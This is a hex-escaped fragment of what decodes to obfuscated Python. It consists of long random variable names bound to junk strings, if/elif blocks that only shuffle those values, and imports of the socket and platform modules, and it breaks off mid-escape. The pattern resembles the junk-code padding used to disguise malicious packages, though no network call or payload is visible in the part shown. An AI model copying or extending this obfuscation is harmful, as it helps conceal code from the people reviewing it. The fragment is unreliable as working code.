x70\x41\x4d\x73\x41\x51\x70\x45\x48\x46\x78\x79\x45\x43\x6b\x42\x43\x48\x79\x4a\x4a\x53\x73\x73\x46\x6f\x4c\x70\x6f\x6e\x53\x44\x78\x4a\x79\x6a\x47\x4f\x44\x75\x47\x6f\x4a\x42\x51\x78\x77\x48\x53\x7a\x49\x43\x6b\x6b\x57\x49\x78\x77\x44\x4a\x49\x74\x47\x7a\x6e\x4a\x51\x78\x72\x43\x67\x44\x43\x4a\x72\x77\x47\x41\x77\x42\x73\x47\x58\x76\x46\x52\x69\x73\x48\x50\x44\x44\x52\x51\x73\x46\x44\x7a\x43\x50\x52\x78\x77\x7a\x77\x45\x6b\x6f\x52\x42\x79\x20\x3d\x20\x59\x77\x42\x49\x4a\x74\x50\x7a\x66\x79\x45\x44\x45\x46\x6b\x41\x6a\x51\x45\x7a\x4f\x49\x49\x54\x49\x44\x5a\x6b\x6c\x74\x48\x45\x51\x71\x49\x78\x45\x72\x65\x43\x65\x4a\x56\x78\x51\x70\x6e\x54\x51\x45\x50\x44\x49\x50\x78\x78\x46\x79\x52\x77\x58\x49\x53\x73\x53\x73\x47\x43\x70\x41\x51\x78\x45\x6f\x46\x6a\x50\x50\x47\x75\x51\x71\x78\x71\x76\x59\x56\x43\x4e\x79\x72\x48\x48\x48\x49\x79\x70\x54\x79\x52\x52\x56\x79\x74\x72\x59\x51\x6e\x6a\x47\x76\x4e\x79\x59\x6e\x43\x45\x41\x47\x50\x44\x47\x53\x79\x52\x6c\x6b\x0a\x69\x6d\x70\x6f\x72\x74\x20\x70\x6c\x61\x74\x66\x6f\x72\x6d\x0a\x0a\x71\x51\x72\x71\x5a\x4a\x4f\x43\x51\x46\x6c\x62\x49\x41\x45\x74\x44\x41\x49\x4c\x53\x78\x59\x45\x43\x69\x79\x41\x4d\x46\x48\x6e\x47\x75\x4a\x52\x45\x52\x46\x44\x68\x48\x46\x53\x41\x78\x69\x4f\x59\x43\x53\x41\x42\x43\x69\x53\x44\x4a\x49\x4f\x49\x6b\x79\x44\x6f\x42\x49\x43\x52\x78\x7a\x49\x7a\x78\x41\x56\x6f\x51\x7a\x47\x48\x6b\x51\x73\x76\x4f\x79\x4a\x53\x58\x42\x6f\x45\x4a\x43\x45\x41\x53\x41\x6e\x43\x6e\x46\x4b\x51\x52\x77\x78\x52\x71\x53\x55\x42\x70\x57\x45\x46\x47\x7a\x51\x45\x4f\x6a\x53\x4a\x47\x53\x20\x3d\x20\x27\x43\x53\x56\x52\x41\x43\x51\x55\x45\x4e\x71\x54\x76\x74\x77\x73\x44\x4e\x44\x57\x79\x42\x53\x59\x7a\x48\x49\x6c\x74\x43\x53\x79\x46\x61\x69\x76\x79\x6b\x50\x70\x4a\x6d\x52\x77\x77\x43\x41\x45\x74\x4b\x71\x76\x4e\x6e\x72\x6d\x44\x46\x7a\x44\x45\x6e\x49\x6e\x4a\x6a\x4c\x4a\x48\x66\x48\x48\x6e\x79\x68\x53\x78\x61\x71\x6e\x44\x6d\x75\x78\x6e\x45\x52\x49\x48\x58\x41\x48\x51\x75\x46\x77\x76\x4c\x53\x44\x75\x52\x53\x72\x71\x41\x75\x7a\x48\x51\x69\x77\x6d\x43\x77\x51\x44\x71\x48\x42\x52\x53\x49\x74\x67\x7a\x54\x27\x0a\x6e\x6b\x6b\x79\x49\x48\x53\x76\x43\x50\x57\x5a\x73\x42\x43\x4e\x51\x79\x4b\x4a\x54\x73\x47\x49\x74\x71\x78\x42\x6b\x65\x44\x4a\x48\x72\x73\x70\x44\x4a\x43\x51\x6d\x75\x68\x70\x47\x44\x41\x77\x46\x6b\x76\x6a\x48\x42\x6c\x51\x49\x6d\x71\x76\x53\x43\x43\x48\x67\x50\x47\x6c\x4a\x47\x6a\x79\x51\x7a\x49\x79\x50\x52\x53\x71\x79\x43\x53\x53\x58\x4d\x70\x49\x4f\x48\x7a\x7a\x42\x4a\x53\x6d\x6e\x51\x44\x69\x79\x50\x42\x70\x50\x7a\x42\x6e\x79\x75\x70\x75\x43\x4e\x53\x49\x77\x44\x6f\x46\x49\x69\x77\x44\x6b\x43\x79\x20\x3d\x20\x27\x77\x75\x47\x50\x53\x41\x6b\x69\x71\x44\x4b\x4c\x71\x50\x4d\x41\x4f\x70\x41\x49\x48\x6b\x46\x55\x7a\x52\x4a\x77\x44\x7a\x41\x69\x43\x5a\x45\x53\x79\x76\x49\x77\x66\x41\x48\x42\x6e\x6c\x53\x7a\x44\x47\x66\x64\x70\x74\x4f\x48\x71\x72\x47\x45\x52\x48\x65\x52\x77\x47\x45\x77\x6a\x55\x72\x52\x68\x4a\x75\x45\x4a\x6c\x49\x49\x72\x4a\x53\x71\x78\x79\x72\x49\x48\x48\x6a\x70\x78\x45\x77\x45\x41\x4e\x51\x4a\x75\x45\x45\x70\x46\x68\x78\x44\x48\x4f\x6a\x45\x4a\x71\x43\x48\x47\x4a\x68\x41\x49\x4f\x7a\x45\x7a\x49\x6c\x27\x0a\x4e\x42\x41\x47\x6c\x61\x43\x78\x48\x43\x46\x7a\x46\x48\x53\x6b\x59\x51\x53\x43\x43\x52\x70\x42\x43\x6a\x72\x53\x57\x59\x75\x43\x42\x78\x76\x57\x73\x41\x44\x78\x59\x71\x54\x79\x41\x6f\x78\x79\x6f\x52\x6f\x78\x44\x73\x41\x41\x6b\x47\x4e\x46\x45\x47\x44\x79\x46\x4a\x45\x6c\x4f\x70\x6d\x4b\x72\x49\x45\x49\x52\x70\x7a\x46\x50\x78\x49\x41\x4f\x79\x42\x53\x53\x52\x50\x79\x65\x4a\x78\x49\x70\x48\x73\x73\x6a\x69\x44\x4d\x53\x75\x49\x43\x41\x71\x53\x6b\x4e\x42\x56\x4a\x63\x75\x76\x51\x42\x70\x5a\x4a\x77\x52\x42\x20\x3d\x20\x27\x6a\x49\x6a\x78\x70\x76\x4a\x76\x77\x51\x70\x53\x4e\x7a\x49\x42\x59\x4a\x77\x46\x54\x46\x50\x52\x44\x54\x46\x52\x43\x77\x73\x68\x47\x6e\x6f\x48\x58\x6f\x48\x52\x49\x51\x56\x79\x49\x51\x44\x4d\x6c\x44\x7a\x71\x43\x42\x45\x75\x57\x76\x7a\x74\x47\x63\x4d\x46\x59\x66\x42\x45\x54\x59\x4a\x41\x50\x51\x4d\x45\x66\x74\x75\x46\x73\x75\x41\x6a\x53\x50\x4c\x59\x6b\x69\x52\x73\x50\x4d\x59\x50\x4a\x4d\x46\x6f\x76\x43\x4e\x79\x6e\x76\x77\x72\x50\x76\x6a\x4a\x4a\x48\x64\x51\x6d\x70\x43\x57\x57\x64\x4d\x72\x79\x76\x79\x27\x0a\x49\x45\x65\x79\x6b\x78\x44\x57\x47\x59\x65\x43\x76\x49\x46\x4e\x78\x4a\x7a\x7a\x48\x45\x55\x63\x7a\x6d\x74\x78\x43\x75\x52\x70\x4d\x47\x74\x79\x7a\x77\x46\x44\x52\x78\x43\x46\x42\x49\x62\x74\x58\x65\x53\x79\x51\x46\x53\x53\x43\x49\x53\x6d\x41\x73\x48\x49\x77\x4d\x41\x53\x66\x53\x4f\x47\x53\x52\x46\x4f\x50\x47\x68\x65\x4a\x46\x48\x49\x69\x48\x57\x6a\x47\x52\x48\x42\x51\x58\x7a\x4c\x43\x53\x43\x52\x52\x53\x73\x4d\x74\x43\x48\x47\x43\x43\x41\x6a\x48\x75\x43\x50\x72\x49\x73\x4d\x47\x74\x52\x49\x53\x50\x6d\x20\x3d\x20\x27\x6d\x73\x69\x47\x7a\x52\x70\x75\x48\x44\x52\x69\x44\x71\x6a\x7a\x78\x48\x48\x71\x46\x6c\x73\x54\x42\x78\x71\x78\x44\x75\x44\x6d\x6c\x70\x45\x75\x4a\x73\x77\x74\x69\x6c\x76\x52\x4f\x4a\x6e\x47\x4a\x71\x46\x50\x73\x76\x44\x77\x75\x6b\x49\x69\x57\x47\x44\x45\x49\x51\x6f\x48\x44\x70\x41\x75\x51\x43\x6b\x7a\x46\x71\x51\x54\x44\x4e\x44\x42\x70\x67\x45\x61\x6c\x42\x49\x7a\x51\x77\x76\x6d\x6b\x4a\x5a\x45\x44\x4a\x50\x44\x79\x76\x6b\x7a\x45\x72\x45\x51\x72\x48\x75\x6e\x48\x71\x53\x6e\x43\x69\x53\x4f\x44\x47\x48\x27\x0a\x4f\x7a\x4a\x41\x76\x77\x4a\x51\x79\x70\x52\x4f\x67\x45\x76\x78\x58\x73\x41\x5a\x49\x42\x4c\x6d\x4a\x66\x54\x7a\x48\x77\x48\x44\x56\x51\x49\x76\x4e\x50\x50\x50\x70\x49\x5a\x43\x59\x48\x47\x4f\x59\x47\x78\x6b\x4c\x51\x49\x49\x65\x51\x48\x6a\x50\x4e\x53\x79\x6b\x53\x45\x51\x7a\x44\x6b\x46\x4a\x58\x49\x73\x52\x46\x6f\x78\x77\x67\x79\x4e\x57\x56\x49\x76\x73\x66\x53\x4a\x59\x44\x78\x6f\x6c\x6a\x73\x49\x65\x4e\x52\x58\x41\x73\x52\x49\x78\x48\x42\x47\x52\x49\x75\x47\x69\x58\x57\x6e\x41\x46\x5a\x52\x6b\x44\x20\x3d\x20\x27\x48\x46\x5a\x6c\x57\x48\x71\x77\x6e\x44\x65\x52\x44\x49\x42\x77\x4e\x47\x69\x43\x51\x41\x4d\x66\x46\x4e\x78\x41\x48\x77\x47\x49\x50\x79\x70\x65\x74\x73\x53\x4f\x73\x48\x45\x49\x52\x41\x47\x55\x73\x74\x70\x43\x57\x43\x47\x49\x77\x77\x70\x72\x69\x7a\x75\x49\x43\x73\x77\x4a\x79\x44\x48\x6e\x78\x49\x50\x78\x44\x57\x77\x58\x53\x76\x75\x75\x4a\x43\x44\x47\x73\x52\x6d\x52\x71\x49\x46\x4a\x74\x48\x65\x79\x6c\x43\x4e\x41\x43\x6b\x46\x71\x53\x53\x44\x66\x47\x50\x44\x46\x75\x55\x73\x43\x79\x6d\x51\x74\x52\x51\x4a\x27\x0a\x69\x66\x20\x71\x51\x72\x71\x5a\x4a\x4f\x43\x51\x46\x6c\x62\x49\x41\x45\x74\x44\x41\x49\x4c\x53\x78\x59\x45\x43\x69\x79\x41\x4d\x46\x48\x6e\x47\x75\x4a\x52\x45\x52\x46\x44\x68\x48\x46\x53\x41\x78\x69\x4f\x59\x43\x53\x41\x42\x43\x69\x53\x44\x4a\x49\x4f\x49\x6b\x79\x44\x6f\x42\x49\x43\x52\x78\x7a\x49\x7a\x78\x41\x56\x6f\x51\x7a\x47\x48\x6b\x51\x73\x76\x4f\x79\x4a\x53\x58\x42\x6f\x45\x4a\x43\x45\x41\x53\x41\x6e\x43\x6e\x46\x4b\x51\x52\x77\x78\x52\x71\x53\x55\x42\x70\x57\x45\x46\x47\x7a\x51\x45\x4f\x6a\x53\x4a\x47\x53\x20\x69\x6e\x20\x6e\x6b\x6b\x79\x49\x48\x53\x76\x43\x50\x57\x5a\x73\x42\x43\x4e\x51\x79\x4b\x4a\x54\x73\x47\x49\x74\x71\x78\x42\x6b\x65\x44\x4a\x48\x72\x73\x70\x44\x4a\x43\x51\x6d\x75\x68\x70\x47\x44\x41\x77\x46\x6b\x76\x6a\x48\x42\x6c\x51\x49\x6d\x71\x76\x53\x43\x43\x48\x67\x50\x47\x6c\x4a\x47\x6a\x79\x51\x7a\x49\x79\x50\x52\x53\x71\x79\x43\x53\x53\x58\x4d\x70\x49\x4f\x48\x7a\x7a\x42\x4a\x53\x6d\x6e\x51\x44\x69\x79\x50\x42\x70\x50\x7a\x42\x6e\x79\x75\x70\x75\x43\x4e\x53\x49\x77\x44\x6f\x46\x49\x69\x77\x44\x6b\x43\x79\x3a\x0a\x20\x20\x20\x20\x71\x51\x72\x71\x5a\x4a\x4f\x43\x51\x46\x6c\x62\x49\x41\x45\x74\x44\x41\x49\x4c\x53\x78\x59\x45\x43\x69\x79\x41\x4d\x46\x48\x6e\x47\x75\x4a\x52\x45\x52\x46\x44\x68\x48\x46\x53\x41\x78\x69\x4f\x59\x43\x53\x41\x42\x43\x69\x53\x44\x4a\x49\x4f\x49\x6b\x79\x44\x6f\x42\x49\x43\x52\x78\x7a\x49\x7a\x78\x41\x56\x6f\x51\x7a\x47\x48\x6b\x51\x73\x76\x4f\x79\x4a\x53\x58\x42\x6f\x45\x4a\x43\x45\x41\x53\x41\x6e\x43\x6e\x46\x4b\x51\x52\x77\x78\x52\x71\x53\x55\x42\x70\x57\x45\x46\x47\x7a\x51\x45\x4f\x6a\x53\x4a\x47\x53\x20\x3d\x20\x4f\x7a\x4a\x41\x76\x77\x4a\x51\x79\x70\x52\x4f\x67\x45\x76\x78\x58\x73\x41\x5a\x49\x42\x4c\x6d\x4a\x66\x54\x7a\x48\x77\x48\x44\x56\x51\x49\x76\x4e\x50\x50\x50\x70\x49\x5a\x43\x59\x48\x47\x4f\x59\x47\x78\x6b\x4c\x51\x49\x49\x65\x51\x48\x6a\x50\x4e\x53\x79\x6b\x53\x45\x51\x7a\x44\x6b\x46\x4a\x58\x49\x73\x52\x46\x6f\x78\x77\x67\x79\x4e\x57\x56\x49\x76\x73\x66\x53\x4a\x59\x44\x78\x6f\x6c\x6a\x73\x49\x65\x4e\x52\x58\x41\x73\x52\x49\x78\x48\x42\x47\x52\x49\x75\x47\x69\x58\x57\x6e\x41\x46\x5a\x52\x6b\x44\x0a\x20\x20\x20\x20\x69\x66\x20\x6e\x6b\x6b\x79\x49\x48\x53\x76\x43\x50\x57\x5a\x73\x42\x43\x4e\x51\x79\x4b\x4a\x54\x73\x47\x49\x74\x71\x78\x42\x6b\x65\x44\x4a\x48\x72\x73\x70\x44\x4a\x43\x51\x6d\x75\x68\x70\x47\x44\x41\x77\x46\x6b\x76\x6a\x48\x42\x6c\x51\x49\x6d\x71\x76\x53\x43\x43\x48\x67\x50\x47\x6c\x4a\x47\x6a\x79\x51\x7a\x49\x79\x50\x52\x53\x71\x79\x43\x53\x53\x58\x4d\x70\x49\x4f\x48\x7a\x7a\x42\x4a\x53\x6d\x6e\x51\x44\x69\x79\x50\x42\x70\x50\x7a\x42\x6e\x79\x75\x70\x75\x43\x4e\x53\x49\x77\x44\x6f\x46\x49\x69\x77\x44\x6b\x43\x79\x20\x69\x6e\x20\x4e\x42\x41\x47\x6c\x61\x43\x78\x48\x43\x46\x7a\x46\x48\x53\x6b\x59\x51\x53\x43\x43\x52\x70\x42\x43\x6a\x72\x53\x57\x59\x75\x43\x42\x78\x76\x57\x73\x41\x44\x78\x59\x71\x54\x79\x41\x6f\x78\x79\x6f\x52\x6f\x78\x44\x73\x41\x41\x6b\x47\x4e\x46\x45\x47\x44\x79\x46\x4a\x45\x6c\x4f\x70\x6d\x4b\x72\x49\x45\x49\x52\x70\x7a\x46\x50\x78\x49\x41\x4f\x79\x42\x53\x53\x52\x50\x79\x65\x4a\x78\x49\x70\x48\x73\x73\x6a\x69\x44\x4d\x53\x75\x49\x43\x41\x71\x53\x6b\x4e\x42\x56\x4a\x63\x75\x76\x51\x42\x70\x5a\x4a\x77\x52\x42\x3a\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x6e\x6b\x6b\x79\x49\x48\x53\x76\x43\x50\x57\x5a\x73\x42\x43\x4e\x51\x79\x4b\x4a\x54\x73\x47\x49\x74\x71\x78\x42\x6b\x65\x44\x4a\x48\x72\x73\x70\x44\x4a\x43\x51\x6d\x75\x68\x70\x47\x44\x41\x77\x46\x6b\x76\x6a\x48\x42\x6c\x51\x49\x6d\x71\x76\x53\x43\x43\x48\x67\x50\x47\x6c\x4a\x47\x6a\x79\x51\x7a\x49\x79\x50\x52\x53\x71\x79\x43\x53\x53\x58\x4d\x70\x49\x4f\x48\x7a\x7a\x42\x4a\x53\x6d\x6e\x51\x44\x69\x79\x50\x42\x70\x50\x7a\x42\x6e\x79\x75\x70\x75\x43\x4e\x53\x49\x77\x44\x6f\x46\x49\x69\x77\x44\x6b\x43\x79\x20\x3d\x20\x49\x45\x65\x79\x6b\x78\x44\x57\x47\x59\x65\x43\x76\x49\x46\x4e\x78\x4a\x7a\x7a\x48\x45\x55\x63\x7a\x6d\x74\x78\x43\x75\x52\x70\x4d\x47\x74\x79\x7a\x77\x46\x44\x52\x78\x43\x46\x42\x49\x62\x74\x58\x65\x53\x79\x51\x46\x53\x53\x43\x49\x53\x6d\x41\x73\x48\x49\x77\x4d\x41\x53\x66\x53\x4f\x47\x53\x52\x46\x4f\x50\x47\x68\x65\x4a\x46\x48\x49\x69\x48\x57\x6a\x47\x52\x48\x42\x51\x58\x7a\x4c\x43\x53\x43\x52\x52\x53\x73\x4d\x74\x43\x48\x47\x43\x43\x41\x6a\x48\x75\x43\x50\x72\x49\x73\x4d\x47\x74\x52\x49\x53\x50\x6d\x0a\x65\x6c\x69\x66\x20\x6e\x6b\x6b\x79\x49\x48\x53\x76\x43\x50\x57\x5a\x73\x42\x43\x4e\x51\x79\x4b\x4a\x54\x73\x47\x49\x74\x71\x78\x42\x6b\x65\x44\x4a\x48\x72\x73\x70\x44\x4a\x43\x51\x6d\x75\x68\x70\x47\x44\x41\x77\x46\x6b\x76\x6a\x48\x42\x6c\x51\x49\x6d\x71\x76\x53\x43\x43\x48\x67\x50\x47\x6c\x4a\x47\x6a\x79\x51\x7a\x49\x79\x50\x52\x53\x71\x79\x43\x53\x53\x58\x4d\x70\x49\x4f\x48\x7a\x7a\x42\x4a\x53\x6d\x6e\x51\x44\x69\x79\x50\x42\x70\x50\x7a\x42\x6e\x79\x75\x70\x75\x43\x4e\x53\x49\x77\x44\x6f\x46\x49\x69\x77\x44\x6b\x43\x79\x20\x69\x6e\x20\x71\x51\x72\x71\x5a\x4a\x4f\x43\x51\x46\x6c\x62\x49\x41\x45\x74\x44\x41\x49\x4c\x53\x78\x59\x45\x43\x69\x79\x41\x4d\x46\x48\x6e\x47\x75\x4a\x52\x45\x52\x46\x44\x68\x48\x46\x53\x41\x78\x69\x4f\x59\x43\x53\x41\x42\x43\x69\x53\x44\x4a\x49\x4f\x49\x6b\x79\x44\x6f\x42\x49\x43\x52\x78\x7a\x49\x7a\x78\x41\x56\x6f\x51\x7a\x47\x48\x6b\x51\x73\x76\x4f\x79\x4a\x53\x58\x42\x6f\x45\x4a\x43\x45\x41\x53\x41\x6e\x43\x6e\x46\x4b\x51\x52\x77\x78\x52\x71\x53\x55\x42\x70\x57\x45\x46\x47\x7a\x51\x45\x4f\x6a\x53\x4a\x47\x53\x3a\x0a\x20\x20\x20\x20\x4e\x42\x41\x47\x6c\x61\x43\x78\x48\x43\x46\x7a\x46\x48\x53\x6b\x59\x51\x53\x43\x43\x52\x70\x42\x43\x6a\x72\x53\x57\x59\x75\x43\x42\x78\x76\x57\x73\x41\x44\x78\x59\x71\x54\x79\x41\x6f\x78\x79\x6f\x52\x6f\x78\x44\x73\x41\x41\x6b\x47\x4e\x46\x45\x47\x44\x79\x46\x4a\x45\x6c\x4f\x70\x6d\x4b\x72\x49\x45\x49\x52\x70\x7a\x46\x50\x78\x49\x41\x4f\x79\x42\x53\x53\x52\x50\x79\x65\x4a\x78\x49\x70\x48\x73\x73\x6a\x69\x44\x4d\x53\x75\x49\x43\x41\x71\x53\x6b\x4e\x42\x56\x4a\x63\x75\x76\x51\x42\x70\x5a\x4a\x77\x52\x42\x20\x3d\x20\x6e\x6b\x6b\x79\x49\x48\x53\x76\x43\x50\x57\x5a\x73\x42\x43\x4e\x51\x79\x4b\x4a\x54\x73\x47\x49\x74\x71\x78\x42\x6b\x65\x44\x4a\x48\x72\x73\x70\x44\x4a\x43\x51\x6d\x75\x68\x70\x47\x44\x41\x77\x46\x6b\x76\x6a\x48\x42\x6c\x51\x49\x6d\x71\x76\x53\x43\x43\x48\x67\x50\x47\x6c\x4a\x47\x6a\x79\x51\x7a\x49\x79\x50\x52\x53\x71\x79\x43\x53\x53\x58\x4d\x70\x49\x4f\x48\x7a\x7a\x42\x4a\x53\x6d\x6e\x51\x44\x69\x79\x50\x42\x70\x50\x7a\x42\x6e\x79\x75\x70\x75\x43\x4e\x53\x49\x77\x44\x6f\x46\x49\x69\x77\x44\x6b\x43\x79\x0a\x20\x20\x20\x20\x69\x66\x20\x4e\x42\x41\x47\x6c\x61\x43\x78\x48\x43\x46\x7a\x46\x48\x53\x6b\x59\x51\x53\x43\x43\x52\x70\x42\x43\x6a\x72\x53\x57\x59\x75\x43\x42\x78\x76\x57\x73\x41\x44\x78\x59\x71\x54\x79\x41\x6f\x78\x79\x6f\x52\x6f\x78\x44\x73\x41\x41\x6b\x47\x4e\x46\x45\x47\x44\x79\x46\x4a\x45\x6c\x4f\x70\x6d\x4b\x72\x49\x45\x49\x52\x70\x7a\x46\x50\x78\x49\x41\x4f\x79\x42\x53\x53\x52\x50\x79\x65\x4a\x78\x49\x70\x48\x73\x73\x6a\x69\x44\x4d\x53\x75\x49\x43\x41\x71\x53\x6b\x4e\x42\x56\x4a\x63\x75\x76\x51\x42\x70\x5a\x4a\x77\x52\x42\x20\x69\x6e\x20\x6e\x6b\x6b\x79\x49\x48\x53\x76\x43\x50\x57\x5a\x73\x42\x43\x4e\x51\x79\x4b\x4a\x54\x73\x47\x49\x74\x71\x78\x42\x6b\x65\x44\x4a\x48\x72\x73\x70\x44\x4a\x43\x51\x6d\x75\x68\x70\x47\x44\x41\x77\x46\x6b\x76\x6a\x48\x42\x6c\x51\x49\x6d\x71\x76\x53\x43\x43\x48\x67\x50\x47\x6c\x4a\x47\x6a\x79\x51\x7a\x49\x79\x50\x52\x53\x71\x79\x43\x53\x53\x58\x4d\x70\x49\x4f\x48\x7a\x7a\x42\x4a\x53\x6d\x6e\x51\x44\x69\x79\x50\x42\x70\x50\x7a\x42\x6e\x79\x75\x70\x75\x43\x4e\x53\x49\x77\x44\x6f\x46\x49\x69\x77\x44\x6b\x43\x79\x3a\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x6e\x6b\x6b\x79\x49\x48\x53\x76\x43\x50\x57\x5a\x73\x42\x43\x4e\x51\x79\x4b\x4a\x54\x73\x47\x49\x74\x71\x78\x42\x6b\x65\x44\x4a\x48\x72\x73\x70\x44\x4a\x43\x51\x6d\x75\x68\x70\x47\x44\x41\x77\x46\x6b\x76\x6a\x48\x42\x6c\x51\x49\x6d\x71\x76\x53\x43\x43\x48\x67\x50\x47\x6c\x4a\x47\x6a\x79\x51\x7a\x49\x79\x50\x52\x53\x71\x79\x43\x53\x53\x58\x4d\x70\x49\x4f\x48\x7a\x7a\x42\x4a\x53\x6d\x6e\x51\x44\x69\x79\x50\x42\x70\x50\x7a\x42\x6e\x79\x75\x70\x75\x43\x4e\x53\x49\x77\x44\x6f\x46\x49\x69\x77\x44\x6b\x43\x79\x20\x3d\x20\x4f\x7a\x4a\x41\x76\x77\x4a\x51\x79\x70\x52\x4f\x67\x45\x76\x78\x58\x73\x41\x5a\x49\x42\x4c\x6d\x4a\x66\x54\x7a\x48\x77\x48\x44\x56\x51\x49\x76\x4e\x50\x50\x50\x70\x49\x5a\x43\x59\x48\x47\x4f\x59\x47\x78\x6b\x4c\x51\x49\x49\x65\x51\x48\x6a\x50\x4e\x53\x79\x6b\x53\x45\x51\x7a\x44\x6b\x46\x4a\x58\x49\x73\x52\x46\x6f\x78\x77\x67\x79\x4e\x57\x56\x49\x76\x73\x66\x53\x4a\x59\x44\x78\x6f\x6c\x6a\x73\x49\x65\x4e\x52\x58\x41\x73\x52\x49\x78\x48\x42\x47\x52\x49\x75\x47\x69\x58\x57\x6e\x41\x46\x5a\x52\x6b\x44\x0a\x69\x6d\x70\x6f\x72\x74\x20\x73\x6f\x63\x6b\x65\x74\x0a\x0a\x73\x6f\x45\x68\x59\x73\x51\x49\x50\x69\x79\x6b\x69\x51\x52\x52\x79\x46\x55\x79\x53\x7a\x6a\x46\x4e\x51\x7a\x41\x47\x71\x44\x77\x4e\x79\x43\x41\x6e\x41\x45\x71\x47\x73\x53\x47\x46\x43\x4f\x47\x54\x49\x4f\x7a\x79\x6d\x61\x48\x79\x43\x56\x74\x73\x49\x4a\x43\x45\x78\x4a\x5a\x42\x53\x77\x43\x50\x70\x76\x49\x42\x49\x47\x4a\x47\x47\x41\x77\x73\x51\x53\x76\x6b\x43\x41\x75\x53\x42\x4f\x44\x4f\x45\x75\x46\x77\x68\x72\x79\x6e\x47\x43\x46\x48\x48\x46\x46\x53\x49\x77\x44\x44\x50\x77\x79\x47\x52\x74\x50\x50\x47\x47\x20\x3d\x20\x27\x79\x7a\x4f\x51\x73\x75\x6c\x6d\x4f\x6b\x69\x46\x51\x74\x52\x53\x43\x49\x4f\x53\x56\x79\x4f\x43\x6e\x67\x43\x46\x53\x73\x44\x79\x76\x69\x52\x75\x52\x79\x6a\x67\x7a\x6c\x51\x75\x48\x79\x48\x52\x4d\x77\x41\x6b\x71\x4c\x73\x6b\x65\x58\x7a\x43\x78\x77\x49\x76\x78\x44\x6f\x4a\x78\x45\x49\x44\x45\x57\x70\x46\x76\x50\x51\x77\x52\x70\x49\x73\x48\x42\x52\x4f\x48\x4a\x47\x6a\x74\x48\x49\x50\x6c\x4a\x6d\x61\x55\x49\x73\x44\x72\x47\x6e\x49\x77\x74\x42\x45\x49\x6d\x47\x44\x52\x6c\x47\x46\x50\x6d\x42\x49\x46\x76\x4f\x27\x0a\x41\x55\x77\x48\x5a\x52\x42\x63\x42\x45\x52\x4b\x6f\x71\x76\x43\x4e\x51\x71\x5a\x4f\x47\x47\x45\x52\x52\x4e\x46\x71\x7a\x59\x48\x47\x74\x49\x42\x6c\x43\x65\x6e\x42\x7a\x49\x52\x75\x46\x43\x78\x4e\x43\x49\x46\x68\x43\x44\x6c\x6d\x76\x53\x47\x51\x49\x58\x42\x58\x59\x46\x47\x51\x72\x4d\x75\x42\x44\x52\x47\x55\x46\x58\x41\x51\x45\x52\x53\x45\x55\x48\x4c\x52\x75\x75\x52\x73\x46\x47\x69\x55\x4f\x53\x43\x7a\x46\x47\x74\x52\x49\x78\x53\x6b\x4c\x74\x69\x46\x47\x73\x43\x73\x79\x49\x49\x49\x73\x78\x7a\x46\x47\x79\x20\x3d\x20\x27\x76\x78\x51\x48\x4a\x72\x7a\x6d\x7a\x44\x70\x71\x46\x65\x7a\x77\x52\x42\x44\x51\x43\x53\x48\x78\x77\x73\x45\x72\x78\x49\x48\x69\x66\x51\x4e\x44\x43\x52\x52\x76\x6d\x4d\x51\x43\x43\x50\x45\x4e\x50\x6c\x41\x51\x4f\x69\x77\x49\x47\x78\x6c\x4a\x76\x74\x44\x72\x75\x4a\x51\x46\x4e\x44\x77\x4a\x70\x47\x78\x43\x48\x76\x4d\x42\x45\x75\x4e\x53\x77\x47\x6a\x4a\x4f\x4a\x45\x71\x51\x52\x64\x4a\x49\x5a\x76\x53\x74\x4e\x44\x47\x4f\x47\x66\x73\x45\x50\x48\x47\x51\x46\x44\x77\x77\x62\x45\x42\x74\x74\x43\x6d\x77\x41\x6f\x27\x0a\x74\x77\x43\x6a\x59\x42\x47\x43\x57\x6f\x42\x69\x77\x59\x53\x53\x43\x77\x48\x63\x50\x49\x45\x49\x70\x72\x67\x74\x53\x47\x68\x49\x7a\x48\x49\x47\x75\x46\x72\x71\x69\x6a\x79\x48\x41\x6f\x53\x58\x56\x54\x4d\x51\x5a\x58\x53\x7a\x51\x50\x46\x78\x71\x76\x75\x46\x52\x5a\x47\x6f\x52\x74\x78\x4f\x4e\x46\x45\x50\x50\x78\x77\x79\x51\x71\x41\x41\x76\x77\x45\x53\x70\x79\x46\x53\x41\x72\x73\x65\x43\x6e\x72\x45\x73\x65\x48\x50\x6f\x79\x50\x47\x55\x7a\x43\x44\x49\x4f\x46\x43\x44\x47\x45\x51\x48\x4c\x74\x59\x4a\x51\x6b\x20\x3d\x20\x27\x51\x47\x51\x47\x43\x44\x41\x55\x59\x4a\x6d\x6a\x4a\x71\x52\x4f\x52\x48\x48\x46\x47\x51\x56\x52\x46\x6c\x46\x45\x58\x41\x66\x53\x6e\x53\x48\x43\x6c\x41\x77\x53\x44\x7a\x44\x77\x69\x52\x67\x59\x51\x45\x79\x4e\x4a\x6f\x5a\x43\x45\x4a\x75\x46\x78\x47\x52\x42\x66\x76\x46\x44\x50\x48\x43\x52\x76\x4a\x50\x56\x43\x4e\x48\x7a\x53\x6b\x57\x78\x55\x43\x50\x49\x52\x71\x78\x57\x7a\x52\x46\x6e\x4a\x76\x42\x50\x79\x43\x4a\x4d\x51\x70\x4d\x4f\x44\x45\x72\x45\x4f\x73\x43\x6a\x4e\x57\x72\x53\x72\x7a\x4d\x79\x4e\x6a\x4f\x27\x0a\x49\x45\x46\x76\x71\x77\x73\x51\x41\x45\x6b\x43\x73\x6c\x56\x70\x4a\x79\x79\x49\x49\x4f\x55\x70\x47\x4f\x47\x50\x47\x50\x76\x4c\x75\x79\x4e\x79\x65\x78\x65\x48\x41\x67\x4a\x42\x53\x45\x44\x42\x4d\x65\x71\x4d\x51\x79\x51\x41\x73\x71\x4f\x44\x6a\x6e\x75\x58\x71\x51\x6b\x49\x76\x7a\x47\x45\x48\x74\x7a\x49\x5a\x74\x4d\x47\x58\x46\x49\x76\x50\x42\x72\x46\x7a\x53\x6d\x51\x45\x71\x76\x6e\x45\x49\x46\x58\x61\x49\x4a\x73\x43\x76\x4c\x46\x51\x50\x48\x43\x53\x52\x45\x7a\x4a\x70\x41\x75\x74\x77\x51\x4e\x71\x51\x71\x20\x3d\x20\x27\x78\x6f\x47\x55\x75\x4e\x45\x79\x53\x68\x47\x6d\x6f\x6f\x48\x6f\x41\x7a\x44\x76\x6d\x72\x44\x70\x77\x49\x47\x68\x58\x6e\x47\x52\x44\x55\x69\x70\x75\x49\x47\x43\x42\x6b\x47\x55\x59\x47\x76\x77\x43\x77\x48\x77\x59\x41\x75\x4f\x4a\x7a\x52\x7